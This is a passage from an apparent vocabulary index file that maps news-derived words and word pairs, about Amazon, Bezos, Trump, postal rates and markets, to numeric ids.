137767, "sex duckduckgo": 137768, "potential providers": 137769, "city star": 137770, "twitter looking": 137771, "campaign node": 137772, "publicly touted": 137773, "bard college": 137774, "2018 hell": 137775, "multi carrier": 137776, "brazil agricultural": 137777, "unpredictable": 137778, "seen eye": 137779, "ambago": 137780, "press cnn": 137781, "publishers struggling": 137782, "saudi investments": 137783, "locking horns": 137784, "gains grow": 137785, "accounting standards": 137786, "pending litigation": 137787, "profit forecast": 137788, "create billions": 137789, "executive produced": 137790, "foils": 137791, "james cohen": 137792, "2007 pirro": 137793, "reelected": 137794, "protecting customers": 137795, "forget formula": 137796, "support quickly": 137797, "ubhi crony": 137798, "millionaire 2018": 137799, "walmart executive": 137800, "authorities won": 137801, "hoffman artful": 137802, "diego based": 137803, "occupation": 137804, "post rachel": 137805, "biddle": 137806, "financial security": 137807, "craft beer": 137808, "postal hike": 137809, "incentivize amazon": 137810, "class men": 137811, "newsgathering organization": 137812, "arabian led": 137813, "annoyance": 137814, "recharge rapidly": 137815, "previously leaked": 137816, "laurene": 137817, "amazon roughly": 137818, "church endless": 137819, "lover sold": 137820, "2016 atlantic": 137821, "highlander grog": 137822, "states attack": 137823, "stacey pheffer": 137824, "lives bezos": 137825, "just yesterday": 137826, "mean dividing": 137827, "pera netflix": 137828, "stevens jimmy": 137829, "organised regular": 137830, "human costs": 137831, "teenagers staged": 137832, "supported bringing": 137833, "tilted": 137834, "important implications": 137835, "fernholz people": 137836, "diminishing base": 137837, "bezos suddenly": 137838, "commerce rivals": 137839, "twitter billion": 137840, "microgravity": 137841, "facebook stock": 137842, "reportedly resisted": 137843, "assassinate": 137844, "posted revenue": 137845, "deal linked": 137846, "seattle san": 137847, "banning binge": 137848, "assuming amazon": 137849, "annual developer": 137850, "schwarzenegger wants": 137851, "nutjob charles": 137852, "rodrigo catril": 137853, "tables photo": 137854, "homecoming": 137855, "business crisis": 137856, "sharpest": 137857, "bpa": 137858, "latest chapter": 137859, "amazon announcement": 137860, "unresolved complaints": 137861, "lean margins": 137862, "collapse people": 137863, "gossip": 137864, "republican steve": 137865, "bush described": 137866, "kristen east": 137867, "services wins": 137868, "dr michael": 137869, "officially tomorrow": 137870, "joanna": 137871, "island question": 137872, "nir nissim": 137873, "company rep": 137874, "skiing pinturault": 137875, "shelton": 137876, "havlin vineyards": 137877, "act repealing": 137878, "obvious question": 137879, "launch alexa": 137880, "moaning": 137881, "bezos topped": 137882, "introduced prime": 137883, "calhoun geekwire": 137884, "erases": 137885, "charles koch": 137886, "grinding week": 137887, "japan europe": 137888, "mohammed bin": 137889, "17532188": 137890, "os billion": 137891, "considers bulk": 137892, "episode dramedy": 137893, "cartel ascent": 137894, "ultimate loser": 137895, "today uber": 137896, "inauthentic": 137897, "butcher": 137898, "revenues boosted": 137899, "unsheltered": 137900, "tonight riveting": 137901, "california employees": 137902, "interests editors": 137903, "cnbc bezos": 137904, "permanent including": 137905, "catherine steadman": 137906, "internal metrics": 137907, "community today": 137908, "insult donald": 137909, "represented whopping": 137910, "movie movie": 137911, "senate particularly": 137912, "question mark": 137913, "say helps": 137914, "positive experiences": 137915, "2004 green": 137916, "loves dictators": 137917, "sherry": 137918, "deporting record": 137919, "political tour": 137920, "building partnerships": 137921, "vt": 137922, "todd harrison": 137923, "world democracy": 137924, "bellecapital": 137925, "demo": 137926, "plowing": 137927, "slashed royalties": 137928, "special starts": 137929, "aetna": 137930, "alleged emails": 137931, "company felt": 137932, "intersectionality read": 137933, "tm mark": 137934, "tsvetana": 137935, "video iceland": 137936, "article share": 137937, "reporters gain": 137938, "reductions goals": 137939, "rahel solomon": 137940, "suspicious accounts": 137941, "revenue accused": 137942, "spent year": 137943, "tonight diana": 137944, "multiple newspapers": 137945, "preferred solution": 137946, "android os": 137947, "tour new": 137948, "lies hotstar": 137949, "expect": 137950, "took things": 137951, "false containerel": 137952, "fellow house": 137953, "unattractive": 137954, "ir presentations": 137955, "favorite general": 137956, "leclair": 137957, "vmware amzn": 137958, "farmlands": 137959, "upload": 137960, "transparency inadequate": 137961, "pub": 137962, "observers sinclair": 137963, "heck": 137964, "achieving": 137965, "janaki chadha": 137966, "thing additionally": 137967, "nyt building": 137968, "government intervention": 137969, "legendary designer": 137970, "illion": 137971, "breitbart news": 137972, "public post": 137973, "information button": 137974, "manufacturing farming": 137975, "john boyne": 137976, "typically bought": 137977, "bramer new": 137978, "survived": 137979, "culture amazon": 137980, "truth great": 137981, "attacks judiciary": 137982, "increasingly salty": 137983, "mar\u00eda": 137984, "cords": 137985, "perpetrated": 137986, "benefits amzn": 137987, "reached milestone": 137988, "xvi": 137989, "saying want": 137990, "manager bruce": 137991, "house app": 137992, "push reutersmedia": 137993, "stocks bonds": 137994, "date including": 137995, "rage shooting": 137996, "billion android": 137997, "holy": 137998, "organisation": 137999, "elizabeth goitein": 138000, "similarly spin": 138001, "lose cable": 138002, "instead robinhood": 138003, "commerzbank": 138004, "delegating": 138005, "silence media": 138006, "dylan maxwell": 138007, "platform spent": 138008, "fx index": 138009, "won cloud": 138010, "committee hearing": 138011, "innovator stiffler": 138012, "lawrence jones": 138013, "using cell": 138014, "know search": 138015, "cortez suggests": 138016, "market nyt": 138017, "services fedex": 138018, "mama bear": 138019, "destroys malls": 138020, "exciting right": 138021, "unlikely": 138022, "american prospect": 138023, "federal market": 138024, "source washpost": 138025, "borrow": 138026, "allow parents": 138027, "ofdefense": 138028, "amazon companies": 138029, "0408et copyright": 138030, "oysters": 138031, "nyc taxi": 138032, "major wage": 138033, "hume": 138034, "gained tk": 138035, "tax increment": 138036, "float price": 138037, "hospitality company": 138038, "products focusing": 138039, "overconfidence": 138040, "607 surveyed": 138041, "inventors stacy": 138042, "thomson preparing": 138043, "ran public": 138044, "climate risks": 138045, "lack traditional": 138046, "scattering information": 138047, "topo": 138048, "preview love": 138049, "takeaways bezos": 138050, "officer deap": 138051, "mztxyl0jaf adam": 138052, "golf courses": 138053, "ssml": 138054, "privacy economic": 138055, "department doing": 138056, "829 residents": 138057, "amazon critics": 138058, "smash racism": 138059, "james davenport": 138060, "nyt reported": 138061, "war institute": 138062, "post philip": 138063, "world seen": 138064, "real life": 138065, "california offices": 138066, "damaging information": 138067, "illinois": 138068, "exclusive private": 138069, "gas box": 138070, "mackenzie read": 138071, "rebecca rainey": 138072, "syrian president": 138073, "woman shot": 138074, "tweet days": 138075, "councilwoman": 138076, "sweep": 138077, "ideological spectrum": 138078, "publicly blew": 138079, "github service": 138080, "knighthood nickname": 138081, "essentially monopolies": 138082, "hallum": 138083, "humane": 138084, "post appeared": 138085, "considered close": 138086, "surprise given": 138087, "eilllng3bh arthur": 138088, "writer mackenzie": 138089, "average american": 138090, "billion holiday": 138091, "trillion microsoft": 138092, "aftrekposten foto": 138093, "mission assignments": 138094, "products letters": 138095, "citythe": 138096, "future negotiations": 138097, "war campaign": 138098, "doubtlessly": 138099, "media falls": 138100, "focus cisco": 138101, "ceo doug": 138102, "jobs critics": 138103, "potentially affected": 138104, "unprovable speculation": 138105, "hetmyer gayle": 138106, "minimum requirement": 138107, "marjorie": 138108, "review watchdogs": 138109, "patient conversation": 138110, "2xvkay2gyo": 138111, "a380 anymore": 138112, "fee increase": 138113, "involve bit": 138114, "big 2020": 138115, "wells": 138116, "stamp later": 138117, "false sexual": 138118, "dsaster": 138119, "expect light": 138120, "talented democrats": 138121, "lachman": 138122, "government bureaucracy": 138123, "livestreaming service": 138124, "unserious money": 138125, "publication trump": 138126, "enemies looking": 138127, "including distribution": 138128, "delong special": 138129, "consulted": 138130, "intentional jab": 138131, "regressive fee": 138132, "administration finalizes": 138133, "card pay": 138134, "sold single": 138135, "international intrigue": 138136, "wonky": 138137, "campaign filings": 138138, "federal records": 138139, "rolls royce": 138140, "stocks trade": 138141, "tie roma": 138142, "holness": 138143, "carolina hillbilly": 138144, "vote truly": 138145, "taxpayers union": 138146, "continue reuters": 138147, "operates 600": 138148, "dame women": 138149, "cruz sean": 138150, "matthew coudert": 138151, "discuss raising": 138152, "significant event": 138153, "immense market": 138154, "time mccain": 138155, "chinese media": 138156, "political crank": 138157, "revealed affair": 138158, "tax helping": 138159, "tax measures": 138160, "president including": 138161, "kepnes": 138162, "expect allen": 138163, "titled cancer": 138164, "2ftopnews": 138165, "released drug": 138166, "images unless": 138167, "menchaca chairs": 138168, "loss cookbook": 138169, "preview embedded": 138170, "rawal twitter": 138171, "yearly checkup": 138172, "oil accounts": 138173, "nyse tjx": 138174, "matrix": 138175, "american people": 138176, "ge usually": 138177, "jacket old": 138178, "govcloud": 138179, "counter house": 138180, "badge": 138181, "kelly called": 138182, "scott devitt": 138183, "wilke told": 138184, "compete fairly": 138185, "policy employees": 138186, "baum": 138187, "maisel": 138188, "lighthouse accounts": 138189, "heroclip": 138190, "valuation combined": 138191, "inches tall": 138192, "expect google": 138193, "infringement claims": 138194, "ft 2018": 138195, "owning bezos": 138196, "half moon": 138197, "pumps": 138198, "andrej babis": 138199, "analysts believe": 138200, "policy technology": 138201, "juddlegum": 138202, "rielly": 138203, "humans don": 138204, "director ron": 138205, "guides france": 138206, "hq backlash": 138207, "iain": 138208, "ret adm": 138209, "pretty considerable": 138210, "stalwart": 138211, "congressmen taken": 138212, "self serving": 138213, "maryland": 138214, "body bringing": 138215, "clause unlike": 138216, "hauer": 138217, "facebook textron": 138218, "pati mexican": 138219, "latest congressional": 138220, "ulrich says": 138221, "budget shortfall": 138222, "m0 p4": 138223, "anticipated hq2": 138224, "budget 2019": 138225, "jay jacobs": 138226, "p0 m4": 138227, "mop haired": 138228, "glit tigon": 138229, "google beats": 138230, "autocratic bezos": 138231, "kadestsky": 138232, "customers millions": 138233, "weakness reflect": 138234, "holiday stories": 138235, "price rises": 138236, "f4 f8": 138237, "voting member": 138238, "dramatic personal": 138239, "art sackler": 138240, "island hudson": 138241, "pizzagate falsely": 138242, "high usage": 138243, "insider report": 138244, "transparently vindictive": 138245, "dog food": 138246, "bans christian": 138247, "match": 138248, "commercial districts": 138249, "wields": 138250, "precies": 138251, "relinquish": 138252, "guys pitchers": 138253, "including spain": 138254, "entetering": 138255, "year usps": 138256, "partners initiative": 138257, "unload": 138258, "97th st": 138259, "monopoly occurs": 138260, "charged giving": 138261, "instagram28": 138262, "general matt": 138263, "documentar chef": 138264, "amazon competitor": 138265, "primal scream": 138266, "island far": 138267, "fantastical quests": 138268, "certainly start": 138269, "epistolary novel": 138270, "following month": 138271, "provide powerful": 138272, "reklaitis 415": 138273, "indonesia featuring": 138274, "remarks president": 138275, "2752121": 138276, "police action": 138277, "drones": 138278, "britain corporates": 138279, "korean intelligence": 138280, "folksy": 138281, "years think": 138282, "romantic hikes": 138283, "lawrence convention": 138284, "eldest daughter": 138285, "luiz": 138286, "contact information": 138287, "inspirational annual": 138288, "contractors don": 138289, "wearing wire": 138290, "story money": 138291, "government increasingly": 138292, "class photography": 138293, "liz pete": 138294, "include 2741a": 138295, "overreaction feel": 138296, "release written": 138297, "half bezos": 138298, "confidential shipping": 138299, "ricriebold": 138300, "outside bezos": 138301, "abrupt pullout": 138302, "nearest microphone": 138303, "mexico leaders": 138304, "senate run": 138305, "used facebook": 138306, "senate race": 138307, "benzene detected": 138308, "200 publications": 138309, "2017 ibm": 138310, "scientists recently": 138311, "retailer newegg": 138312, "increased choice": 138313, "magna": 138314, "pre alimony": 138315, "bernal": 138316, "settled": 138317, "promised new": 138318, "amato announces": 138319, "suozzi": 138320, "office projects": 138321, "contributed series": 138322, "recommend changes": 138323, "trillion increase": 138324, "week vuukle": 138325, "monopolistic": 138326, "brewing based": 138327, "product offering": 138328, "smbs": 138329, "tech ceo": 138330, "000 target": 138331, "reuters poll": 138332, "event pbs": 138333, "paid vacation": 138334, "stilts": 138335, "bureaucratic channels": 138336, "american workers": 138337, "america isn": 138338, "scheiber trump": 138339, "chain left": 138340, "automatic": 138341, "advisory board": 138342, "amazon van": 138343, "whitesell left": 138344, "anchor megyn": 138345, "phil mattingly": 138346, "renews": 138347, "millennial customers": 138348, "communities dependent": 138349, "resell": 138350, "city expects": 138351, "softer demand": 138352, "set dangerous": 138353, "cleaving commerce": 138354, "online article": 138355, "quietly added": 138356, "night rundown": 138357, "bird": 138358, "drug keytruda": 138359, "terrible mistake": 138360, "soundproof": 138361, "new rule": 138362, "jobs costing": 138363, "private competitors": 138364, "fewer government": 138365, "brought charlie": 138366, "biggest driver": 138367, "cuteemergency": 138368, "story stay": 138369, "concerned dinam\u00e3": 138370, "nyc community": 138371, "tag new": 138372, "325 million": 138373, "favorable treatment": 138374, "price think": 138375, "055 shares": 138376, "blasio proclaimed": 138377, "shredding": 138378, "kraninger": 138379, "states benefits": 138380, "client remains": 138381, "rebuff turns": 138382, "implicitly": 138383, "politico ian": 138384, "obama unconstitutional": 138385, "var k8": 138386, "cpr": 138387, "company held": 138388, "king fictional": 138389, "obtain intimate": 138390, "successful national": 138391, "amaozn": 138392, "lowest paid": 138393, "political base": 138394, "ism index": 138395, "considering publishing": 138396, "phoney headlines": 138397, "chief marty": 138398, "announcing deaths": 138399, "year nbc": 138400, "increased operating": 138401, "whirlpool wanted": 138402, "connections including": 138403, "amazon separately": 138404, "1619": 138405, "outreach": 138406, "yuan flirts": 138407, "touts putin": 138408, "cultivate": 138409, "groups condemned": 138410, "731": 138411, "record network": 138412, "0716et copyright": 138413, "brk energy": 138414, "website sockslane": 138415, "subtle ways": 138416, "amazon fracas": 138417, "companies sheuvachman": 138418, "2017 meeting": 138419, "know way": 138420, "electrical contractors": 138421, "public criticisms": 138422, "political act": 138423, "destinations federal": 138424, "industrial gas": 138425, "commissioner elect": 138426, "passed measure": 138427, "national bank": 138428, "robina": 138429, "duet wireless": 138430, "market despite": 138431, "helsinki": 138432, "information law": 138433, "illness according": 138434, "gaining insights": 138435, "growth companies": 138436, "care industry": 138437, "citizen kane": 138438, "emails": 138439, "rebuilt": 138440, "proposed hiking": 138441, "wisconsin driver": 138442, "amazon consumers": 138443, "forbes google": 138444, "riling bezos": 138445, "owning piece": 138446, "retaliatory actions": 138447, "formal recommendations": 138448, "savannah guthrie": 138449, "brink truck": 138450, "newsdesk features": 138451, "commission mandate": 138452, "john otis": 138453, "magento bigcommerce": 138454, "boss american": 138455, "pre existing": 138456, "pretty hard": 138457, "bbgvisualdata": 138458, "democrat read": 138459, "amazon tweets": 138460, "caroline michelman": 138461, "coalition warned": 138462, "option activity": 138463, "bag janine": 138464, "hk finished": 138465, "major advertising": 138466, "interview shows": 138467, "releases critical": 138468, "incentive encourages": 138469, "forum suggests": 138470, "china ft": 138471, "misplaced hundreds": 138472, "conservatives revolt": 138473, "post juxtaposition": 138474, "southwest": 138475, "combative appearance": 138476, "man structure": 138477, "million international": 138478, "european dream": 138479, "encounters obstacles": 138480, "king unique": 138481, "today similarly": 138482, "chronicles": 138483, "stifling dissent": 138484, "unofficial": 138485, "brand created": 138486, "ensures": 138487, "hasn responded": 138488, "provides real": 138489, "story donald": 138490, "treatment plant": 138491, "keziah": 138492, "wechat government": 138493, "clipping heroclip": 138494, "amazon bias": 138495, "attract new": 138496, "political cueing": 138497, "praised trump": 138498, "cigna": 138499, "withdrawal north": 138500, "a4ee b0": 138501, "thing tabloid": 138502, "bogota colombia": 138503, "eventually prosecutors": 138504, "week barron": 138505, "determining monopolies": 138506, "championship": 138507, "make college": 138508, "concerns posted": 138509, "ex governor": 138510, "cath\u00e9drale notre": 138511, "rational": 138512, "way brian": 138513, "written cautionary": 138514, "rebates cigna": 138515, "early rush": 138516, "nutshell aws": 138517, "frontrunner": 138518, "wages benefits": 138519, "polar bears": 138520, "enablers": 138521, "highest": 138522, "melting glaciers": 138523, "yahoo uk": 138524, "105": 138525, "things really": 138526, "effectively silence": 138527, "akron ohio": 138528, "nyu": 138529, "revitalize manufacturing": 138530, "company crashed": 138531, "flexispot m2b": 138532, "6000 new": 138533, "computer servers": 138534, "disparaging": 138535, "blankets advil": 138536, "based tax": 138537, "couldn afford": 138538, "expenditures jumped": 138539, "amazon businesses": 138540, "written reviews": 138541, "uniforms entrepreneurs": 138542, "jon bois": 138543, "carter longest": 138544, "reporter perspective": 138545, "film drama": 138546, "mother earth": 138547, "gaping": 138548, "places": 138549, "bezos infidelity": 138550, "labor activists": 138551, "unsold": 138552, "giant amid": 138553, "candice": 138554, "1938": 138555, "pirro showing": 138556, "service postal": 138557, "justifications": 138558, "escaped notice": 138559, "canada announces": 138560, "null dayssincepubdate": 138561, "believes aws": 138562, "contradictions documenting": 138563, "political nonprofits": 138564, "equal share": 138565, "lamarque": 138566, "sen kirsten": 138567, "response minutes": 138568, "day newsletter": 138569, "nflx griffeth": 138570, "better newspaper": 138571, "substantiate": 138572, "tweets posted": 138573, "illustrated": 138574, "package cost": 138575, "markets money": 138576, "eventually cause": 138577, "know think": 138578, "rehearse": 138579, "year saying": 138580, "mentzel": 138581, "echo anytime": 138582, "countries capitalize": 138583, "nation response": 138584, "controversial bidding": 138585, "product lines": 138586, "club employees": 138587, "benchmarks rebounded": 138588, "worth wondering": 138589, "eugene": 138590, "closely linked": 138591, "lives reads": 138592, "offers muted": 138593, "graphics": 138594, "think generally": 138595, "fellow student": 138596, "including companies": 138597, "broken": 138598, "paranoia": 138599, "deliver": 138600, "important chinese": 138601, "big bad": 138602, "anita hill": 138603, "nonetheless helped": 138604, "forecasts net": 138605, "right corporatizers": 138606, "oerter recreation": 138607, "wasn booming": 138608, "flirted": 138609, "slower holiday": 138610, "backward": 138611, "cathedral evacuated": 138612, "blasio claimed": 138613, "michael curry": 138614, "juggernaut remain": 138615, "trying extend": 138616, "anable basin": 138617, "pointed fingers": 138618, "eat jonathan": 138619, "hanks humble": 138620, "proposed site": 138621, "nasdaq amat": 138622, "ban upheld": 138623, "publishing companies": 138624, "data forbidden": 138625, "bankrupt bunch": 138626, "marketplace business": 138627, "remains question": 138628, "justifies illegal": 138629, "lord miguel": 138630, "videoid overrides": 138631, "catalyse political": 138632, "offering marketplace": 138633, "engel": 138634, "adolescent rage": 138635, "counterfeits bad": 138636, "country dimondstein": 138637, "president left": 138638, "1937": 138639, "fedex makes": 138640, "siemens": 138641, "brief brexit": 138642, "identify immigrants": 138643, "allegedly redrawing": 138644, "running space": 138645, "inventory ahead": 138646, "gmt paterson": 138647, "odd": 138648, "question president": 138649, "huckabee": 138650, "healthcare partners": 138651, "hard lefty": 138652, "commercial airplane": 138653, "remember received": 138654, "stock holding": 138655, "deportation machine": 138656, "scarred hillsides": 138657, "bezos history": 138658, "ingredient costs": 138659, "handed victory": 138660, "bought 481": 138661, "fuel continued": 138662, "star john": 138663, "committee earlier": 138664, "announcement shortly": 138665, "legal drama": 138666, "frames": 138667, "amazon partner": 138668, "bring usps": 138669, "companies look": 138670, "reads reality": 138671, "players range": 138672, "trussell": 138673, "price limits": 138674, "allows prime": 138675, "azure iot": 138676, "giant joined": 138677, "impact anytime": 138678, "living walmart": 138679, "uses series": 138680, "separation policy": 138681, "ar view": 138682, "closet": 138683, "800 points": 138684, "company working": 138685, "doesn feel": 138686, "plague just": 138687, "product gdp": 138688, "policies adding": 138689, "ryan_mcqueeney": 138690, "governor sent": 138691, "charitable contributions": 138692, "state city": 138693, "clarifies": 138694, "productive": 138695, "giant site": 138696, "jurisdiction huge": 138697, "plans unfairly": 138698, "shine press": 138699, "bernstein journalist": 138700, "ceo satya": 138701, "service offerings": 138702, "workers throw": 138703, "ranked high": 138704, "resistance forces": 138705, "negotiate better": 138706, "nation longest": 138707, "foe time": 138708, "trump brazen": 138709, "bramer demanded": 138710, "ran engineering": 138711, "renewed allegations": 138712, "devilman": 138713, "sht": 138714, "additional sanctions": 138715, "accusing bezos": 138716, "appeared optimistic": 138717, "following macy": 138718, "including accusing": 138719, "hadn won": 138720, "request flexible": 138721, "shove trump": 138722, "worth doesn": 138723, "2019 google": 138724, "build separate": 138725, "yesterday pledged": 138726, "18156220 2018": 138727, "tuna amobi": 138728, "league position": 138729, "imperial college": 138730, "outlets play": 138731, "cookbook fit": 138732, "isn retiring": 138733, "colleen chien": 138734, "fidelity": 138735, "practice contradicts": 138736, "business believe": 138737, "median amazon": 138738, "arrested ohio": 138739, "shares declined": 138740, "make commitment": 138741, "event": 138742, "shipping arms": 138743, "industrial warehouse": 138744, "fear gauges": 138745, "customer accountable": 138746, "biggest tailwind": 138747, "recent city": 138748, "driven politics": 138749, "costs things": 138750, "samswhey": 138751, "pornography": 138752, "allen success": 138753, "2016 photo": 138754, "stock unappealing": 138755, "2017 hotel": 138756, "wasteland": 138757, "cbs channel": 138758, "2010 republicans": 138759, "windows listening": 138760, "appointing new": 138761, "1029803793272250368": 138762, "blunt act": 138763, "set postal": 138764, "work doing": 138765, "michael wirth": 138766, "royal style": 138767, "publication": 138768, "father home": 138769, "putin blackrock": 138770, "investigating collusion": 138771, "800 positions": 138772, "hounds began": 138773, "2007 petrochina": 138774, "server719401": 138775, "ceramic trump": 138776, "uma\u00f1a": 138777, "owner alphabet": 138778, "pyrotechnic": 138779, "2017 capital": 138780, "minds jeff": 138781, "downsizing": 138782, "chairman david": 138783, "course saudi": 138784, "powerpic": 138785, "gmb discovered": 138786, "month alleging": 138787, "taking dna": 138788, "178 bought": 138789, "accusations add": 138790, "article city": 138791, "global automakers": 138792, "union head": 138793, "amazon announces": 138794, "trump bolt": 138795, "kool": 138796, "respective skin": 138797, "earrings thank": 138798, "decisions pat": 138799, "007 used": 138800, "reuters factbox": 138801, "individuals alike": 138802, "infrastructure renovations": 138803, "seasonal positions": 138804, "calling jeff": 138805, "threshold amazon": 138806, "jimcramer": 138807, "court reviews": 138808, "kinky": 138809, "trump 2nd": 138810, "shippers": 138811, "institutionally powerful": 138812, "mrtopstep": 138813, "survive today": 138814, "exuberance grit": 138815, "deadspin video": 138816, "partly blamed": 138817, "instructing variety": 138818, "airlines announced": 138819, "wide screen": 138820, "clinically depressed": 138821, "swimming": 138822, "country debt": 138823, "new store": 138824, "dj yelp": 138825, "happening oof": 138826, "short recap": 138827, "fiction": 138828, "nicholas kamm": 138829, "trump pac": 138830, "nyc19": 138831, "branch messenger": 138832, "hillicon valley": 138833, "talks helsinki": 138834, "community read": 138835, "rarefied market": 138836, "challengers luckily": 138837, "investigations": 138838, "rejects": 138839, "trump nafta": 138840, "previous prime": 138841, "places significant": 138842, "mutually convenient": 138843, "follow karen": 138844, "dromey": 138845, "fiction viking": 138846, "promotes": 138847, "weiner mad": 138848, "eejodom3 status": 138849, "nonetheless loving": 138850, "suspiria hits": 138851, "communication fraud": 138852, "queens west": 138853, "report proposing": 138854, "heleno": 138855, "nasdaq bkng": 138856, "best suspense": 138857, "julian baird": 138858, "essentially gut": 138859, "close0": 138860, "major executive": 138861, "images perform": 138862, "arrested posted": 138863, "trump trips": 138864, "packet": 138865, "hall meeting": 138866, "sanchez leak": 138867, "market decline": 138868, "impose punitive": 138869, "shitty": 138870, "text looking": 138871, "governing elites": 138872, "making pit": 138873, "conservative celebrities": 138874, "connected household": 138875, "anxious relatives": 138876, "states beginning": 138877, "slower growth": 138878, "tags wire": 138879, "qualms pursuing": 138880, "prevent children": 138881, "split apart": 138882, "delivers": 138883, "trump referenced": 138884, "woman maria": 138885, "expectations begin": 138886, "suely ara\u00fajo": 138887, "welcom": 138888, "reluctant detective": 138889, "brazil decision": 138890, "antibiotic": 138891, "sox baseball": 138892, "isn thrilled": 138893, "nonprosecution agreement": 138894, "continue working": 138895, "purposefully determined": 138896, "wont sign": 138897, "communicate privately": 138898, "endless stream": 138899, "bank lending": 138900, "compressed dems": 138901, "recommend potential": 138902, "repeat amazon": 138903, "fact require": 138904, "circumventing": 138905, "document published": 138906, "901 2019": 138907, "avoiding taxes": 138908, "2768443": 138909, "fellow rapper": 138910, "verify checks": 138911, "face resistance": 138912, "unsecured mobile": 138913, "alternative business": 138914, "makeover cross": 138915, "decision marks": 138916, "clog": 138917, "bogus putin": 138918, "confidentiality agreement": 138919, "number facebook": 138920, "tv wattpad": 138921, "pursue tariffs": 138922, "security numbers": 138923, "toupee just": 138924, "employee amazon": 138925, "pressure leaving": 138926, "u003c calls": 138927, "amazon wolff": 138928, "730": 138929, "legal loopholes": 138930, "correct rep": 138931, "ridding": 138932, "nativist": 138933, "popular consumer": 138934, "eleanor roosevelt": 138935, "transgender policies": 138936, "chandra": 138937, "multibillionaire": 138938, "title producer": 138939, "recent differences": 138940, "forte speaking": 138941, "better enthusiasm": 138942, "mcdonald nyse": 138943, "republican held": 138944, "elaborate loop": 138945, "taste": 138946, "platform utility": 138947, "uksmallbiz": 138948, "verona italy": 138949, "foods stores": 138950, "related": 138951, "record number": 138952, "luigi di": 138953, "known practise": 138954, "bolded": 138955, "expanded hours": 138956, "amateur": 138957, "ba banned": 138958, "essentially shrugging": 138959, "jpg title": 138960, "attributed loss": 138961, "great book": 138962, "esl": 138963, "anissa helou": 138964, "news bezos": 138965, "13bn": 138966, "making agreements": 138967, "chinese consumers": 138968, "finally admitted": 138969, "elevated prices": 138970, "boycotting": 138971, "2017 meaning": 138972, "cidg": 138973, "party nomination": 138974, "couriers": 138975, "baron": 138976, "quarters plan": 138977, "planned headquarters": 138978, "breakthrough michelle": 138979, "trump coverage": 138980, "lima clima": 138981, "unless democrats": 138982, "author victor": 138983, "self control": 138984, "enterprise defense": 138985, "extensions": 138986, "cfo joseph": 138987, "electrical work": 138988, "anyother": 138989, "thank president": 138990, "steve wise": 138991, "ecolab closes": 138992, "journalism institute": 138993, "women": 138994, "time achieving": 138995, "solidifies": 138996, "torture greene": 138997, "example forest": 138998, "larger contributor": 138999, "ties saul": 139000, "caravan headed": 139001, "complements amazon": 139002, "base used": 139003, "mcdonald profits": 139004, "artificially promoting": 139005, "story ricin": 139006, "mediation": 139007, "johnson family": 139008, "private companies": 139009, "worldwide pitney": 139010, "bit kovacic": 139011, "lgbt rights": 139012, "business challenges": 139013, "r8 x2x": 139014, "raising minimum": 139015, "aloud": 139016, "war chemical": 139017, "hits variety": 139018, "accountable says": 139019, "mobile arena": 139020, "read spent": 139021, "nerdy look": 139022, "bezos exposing": 139023, "190 million": 139024, "journalists trump": 139025, "reporter white": 139026, "news furious": 139027, "woocommerce": 139028, "enthusiasm hotstar": 139029, "investors alike": 139030, "tech writers": 139031, "threatening business": 139032, "amplifies": 139033, "daniel ives": 139034, "single best": 139035, "repeated embarrassments": 139036, "dcuxqrscec": 139037, "far smaller": 139038, "told putin": 139039, "childish fun": 139040, "campaign emoji": 139041, "ribbon cutting": 139042, "news fawn": 139043, "acquisitions worth": 139044, "650 000": 139045, "assumption imagine": 139046, "trump aluminum": 139047, "reportedly ordered": 139048, "theatre industries": 139049, "higher priced": 139050, "taken swipes": 139051, "elites simply": 139052, "publicly held": 139053, "audience booed": 139054, "costs pricing": 139055, "security national": 139056, "cash grant": 139057, "leder": 139058, "usps wages": 139059, "societal norms": 139060, "bezos reporting": 139061, "married bezos": 139062, "isn lazy": 139063, "presence amazon": 139064, "bloomberg fully": 139065, "new residents": 139066, "dillon apparently": 139067, "mile service": 139068, "drunk": 139069, "planned smartly": 139070, "booming investment": 139071, "lost posted": 139072, "unrivalled": 139073, "lead server719393": 139074, "cravetv amazon": 139075, "trigger political": 139076, "market equals": 139077, "corporations highlighted": 139078, "products beijing": 139079, "stunning revelations": 139080, "ami relationship": 139081, "introduced way": 139082, "chicago illinois": 139083, "boom puts": 139084, "physical presence": 139085, "firm washington": 139086, "provide data": 139087, "drape": 139088, "iq game": 139089, "asset depletion": 139090, "defensive blog": 139091, "analogies": 139092, "tale news": 139093, "divorced commander": 139094, "downward": 139095, "deblasio": 139096, "generation ago": 139097, "ebay ceo": 139098, "ruling companies": 139099, "help low": 139100, "followed comprehensive": 139101, "sloped": 139102, "fox antitrust": 139103, "obvious connection": 139104, "spins": 139105, "lorena": 139106, "mushrooming scandals": 139107, "rankin hunt": 139108, "paid employees": 139109, "theater chains": 139110, "voices hilary": 139111, "demonize israel": 139112, "hour delivery": 139113, "valuable information": 139114, "goldenberg": 139115, "paparazzi photos": 139116, "thrones hbo": 139117, "tweets follow": 139118, "facing hostility": 139119, "2019 households": 139120, "resistance editors": 139121, "frostlands": 139122, "indiana rally": 139123, "overly concerned": 139124, "federal circuit": 139125, "entrepreneur brent": 139126, "hack attack": 139127, "operation center": 139128, "red": 139129, "investigation know": 139130, "amazon particularly": 139131, "nick riccardi": 139132, "monopolistic company": 139133, "actress celebrity": 139134, "exist romney": 139135, "options bears": 139136, "recently left": 139137, "global management": 139138, "racist merchandise": 139139, "authorhash": 139140, "worked mchugh": 139141, "hnjrhzjkml": 139142, "paper management": 139143, "oral": 139144, "bullhorns rupert": 139145, "waard zijn": 139146, "complete independence": 139147, "similar statements": 139148, "politicians blocking": 139149, "hardcover": 139150, "raise money": 139151, "estate prices": 139152, "pressure campaign": 139153, "1995 respectively": 139154, "candidate herman": 139155, "seller hawking": 139156, "weren impressed": 139157, "news sarah": 139158, "dialed": 139159, "trailblazing career": 139160, "news nydailynews": 139161, "riordan": 139162, "nyse xom": 139163, "abc radio": 139164, "knowingly falsely": 139165, "year allowing": 139166, "send postal": 139167, "gives teachers": 139168, "dc vertigo": 139169, "ktumulty franco": 139170, "anchor publishing": 139171, "ice needs": 139172, "long feud": 139173, "sleeping giants": 139174, "mid 20th": 139175, "sonner nevada": 139176, "2019 pro": 139177, "scraping resistance": 139178, "husband earlier": 139179, "seattle giant": 139180, "html daily": 139181, "montana rally": 139182, "esrx": 139183, "je belastingaangifte": 139184, "alphastreet useful": 139185, "personal bias": 139186, "pushing big": 139187, "gained control": 139188, "apprehensive": 139189, "suntrust robinson": 139190, "large lapd": 139191, "jr babis": 139192, "did speak": 139193, "poor ones": 139194, "faang decoupling": 139195, "exchanged twitter": 139196, "sectors going": 139197, 